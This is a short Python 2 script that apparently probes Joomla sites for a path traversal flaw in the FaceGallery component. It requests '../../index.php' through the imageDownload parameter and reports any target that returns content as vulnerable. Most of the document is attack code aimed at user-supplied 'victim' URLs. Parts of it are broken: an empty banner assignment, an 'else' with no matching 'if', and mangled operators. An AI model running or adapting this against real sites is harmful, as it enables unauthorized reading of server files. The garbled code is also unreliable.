import urllib, urllib2
import optparse
import sys
banner =
def checkurl(url):
sys.exit( 1 )
else :
return url
def connection(url,pathtrav):
try :
response = urllib2.urlopen(url + '/index.php?option=com_facegallery&task=imageDownload&img_name=' + pathtrav + 'index.php' )
content = response.read()
if content ! = "":
print '[!] VULNERABLE'
print '[+] ' + url + '/index.php?option=com_facegallery&task=imageDownload&img_name=' + pathtrav + 'index.php'
else :
print '[X] Not Vulnerable'
except urllib2.HTTPError:
print '[X] HTTP Error'
except urllib2.URLError:
print '[X] Connection Error'
commandList = optparse.OptionParser( 'usage: %prog -t URL' )
commandList.add_option( '-t' , '--target' , action = "store" ,
help = "Insert TARGET URL: http[s]://www.victim.com[:PORT]" ,
)
options, remainder = commandList.parse_args()
if not options.target:
print (banner)
commandList.print_help()
sys.exit( 1 )
print (banner)
url = checkurl(options.target)
pathtrav = "../../"
connection(url,pathtrav)
|